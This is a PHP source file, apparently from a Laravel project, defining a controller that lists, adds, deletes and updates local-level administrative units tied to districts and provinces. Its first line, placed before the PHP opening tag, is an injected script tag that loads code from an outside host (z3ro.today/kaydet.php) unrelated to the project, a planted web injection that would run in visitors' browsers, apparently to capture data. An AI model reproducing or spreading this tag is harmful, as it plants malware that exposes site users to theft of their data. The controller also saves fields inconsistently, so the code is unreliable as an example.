<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\District;
use App\Models\Locallevel;
use App\Models\Province;
use Illuminate\Http\Request;

class LocalLevelController extends Controller
{
    public function locallevel()
    {
        $locallevelName = Locallevel::orderBy('id')->get();

        return view('adminsetup.locallevelentry', compact('locallevelName'));
    }

    public function addlocallevel()
    {
        $provinces = Province::pluck('province', 'id');
        $districts = District::pluck('district_name', 'id');

        return view('adminsetup.addlocallevel', compact('provinces', 'districts'));
    }

    public function uploadlocallevel(Request $request)
    {
        // validating request
        $validated = $request->validate([
            'local_name' => ['nullable', 'string', 'max:255'],
            'local_name_eng' => ['required', 'string', 'max:255'],
            'number_of_wards' => ['required', 'numeric'],
            'district_id' => ['required', 'numeric'],
        ]);
        $locallevelName = Locallevel::orderBy('id')->get();

        $data = new Locallevel();

        $data->local_name = $validated['local_name'];
        $data->district_id = $validated['district_id'];
        $data->number_of_wards = $validated['number_of_wards'];
        // Get the province_id corresponding to the selected district_id
        $district = District::find($validated['district_id']);
        $data->province_id = $district->province_id;
        $data->created_by = auth()->user()->id;
        $data->updated_by  = auth()->user()->id;
        $data->save();

        return redirect(make_route('locallevel'))->with('message', 'Local level added successfully');
    }

    public function deletelocallevel($id)
    {

        $localName = Locallevel::find($id);
        if ($localName->members->count()) {
            return back()->with('message', 'Unable to delete! This was used by other fields.');
        }

        $localName->delete();
        return redirect()->back()->with('message', 'Local Level deleted successfully');
    }

    public function updatelocallevelview($id)
    {
        $locallevelName = Locallevel::find($id);

        $provinces = Province::pluck('province', 'id');
        $districts = District::pluck('district_name', 'id');
        return view('adminsetup.updatelocallevel', compact('locallevelName', 'provinces', 'districts'));
    }

    public function updatelocallevel(Request $request, $id)
    {

        $locallevelName = Locallevel::orderBy('id')->get();

        $data = Locallevel::find($id);

        $data->local_name = $request->local_name;
        $data->district_id = $request->district_id;
        // Get the province_id corresponding to the selected district_id
        $district = District::find($request->district_id);
        $data->province_id = $request->province_id;
        $data->number_of_wards = $request->number_of_wards;

        $data->save();
        return redirect()->route('locallevel', compact('locallevelName'))->with('message', 'Local level updated successfully');
    }
}
